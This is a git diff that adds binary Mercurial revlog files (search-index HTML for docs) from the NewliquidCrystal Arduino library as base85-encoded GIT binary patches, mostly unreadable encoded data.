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 WRcGU4UheJXZSFO;O%bUo!TCS;y-R8U literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__68.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__68.html.i new file mode 100644 index 0000000000000000000000000000000000000000..425c30b7c8f6851782b4ab0f13e704ea095fdc57 GIT binary patch literal 966 zcmV;%13CNv0RRC20000000Kk+00f)>00000000>O|NsC0|NsB^7IXTSBa^8!tjLt` z-7d#k(>g%_00000000000001ZoQ+h$a@sHuz4H}{dLc8lM4)Ms#`YmVr_2zV3C^@V zF^aXpPK@MA3&ek4$#w{InodqEPw(w&_pKZrjlK_)UpHft;i@1vcURNNkkEkhAA=$1 zqhv&WeoL;Wcz%I)yg3S7yE}Q# zR12A_C5_vFF&1*i{#$bkc3mKC^DZ*I@}&O@ z6>@O)(7PC%^dC;;#l?BQe|iRe2g2ub=dmzLw+eJo3gar!*iR+oq8@-Ph1#o^YPV7G zbU1P@x)VRTcFg~p_P#^&x}VykUHFzu`?{IF7MNz>HfN?u8^5UjyLoYV6a*cq)Ah== z#axf$0(^K?O=NesGRLf5cqVgO7NUx%(hBJ1+rrlyy(QfUbLbz5h=MJd?_*thK%vK% zokPzXcGuxSaPVr{f%{ieKO+BW===fn+KaCM00002L;wH)009C300txg00000000^Q z00030|NsBGwLB$)7-a$2{QCe@_hu>uN)X2Y00000000000001ZoQ+VyPJ}QJ#dzDV zXzE211HvxS1CSUb(PY(xy?AT7?O->SLfV4z2Y$AI8>6>9OkQT@&3lvQdFR+$>g+2O zhXHZLtj+MQs=)TjVRR64M`hapjccxenF-+&IL=q-|4pf#8Rs!d*>d>kpb0T*^*fBB z{m>aU;CiExon*ND@v#0g8!ll0?XJVCBfB#&Yo1E)yOX%TpYFzH-ztoxfjYy!A5cX( z6_iL{x<*|v5yks(O%g%`S;K8olg&*`ND^-#5_ME#O|NsC0|Ns9Qw{B(XmRoa*lx)i1 zgcKzKHO8U<00000000000001ZoSl|mZ`v>v#ozf9uJ=%o7CQ-TK{Vl^lxavUtxBqG zPmvpYByET@$3XM#XD8uLI>ADpVs6g4`24VSan5cZM&7T-F$m=%29M7-casr-2F5?S zBaCmoTk!L{cYg;gWCBl+B#UIk6B1)Qo-8F~yNHW9_MY&&?qz9nwKU|O z6H!Uwu;u7CLnmZ}4jmcEm<=6VK3mR$Ndk0lgZ)`XD;JJS`1+52YnAy!S|D0u^d#V*Wb9ZO=YTxA>WyD3Emh-}C4uY6unG0u6k7UktWE!nNM0I77Q1-ql zZFMtAwBRhz=Y7FYCaUw;o%fKOpbRyZp zgn%b+ET?>(xKJ>;6bUGEm0dG5C95`DDb`=jPNhx-(>z$Fp8;QNkO2_zz>>XC|Ybb+?d7z*D)ynT6Sy# zu8)6-1|eL$Q2G79k9>~wJx~Xnh`G84&`*g-6l_iP^u9uFYP0 z{jP2HE(yIdEsI|D`n`(_^OBgWvmi|yUcYASD;iCq zf0Q@4e%9gZr#NpB`+XJd=ov#wPy+k}x3D2K`xI*SY1Hf!sM$@ag~yqN|0lLT7G}kE ziovj59vTh%zA3*aG6b9yIMr~AA!1bsu OCb#}S()tUU1q_zyo@|Ez literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__6c.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__6c.html.i new file mode 100644 index 0000000000000000000000000000000000000000..2032a2c8030c3c5936c9d523a5b3239d3545f5b2 GIT binary patch literal 7463 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 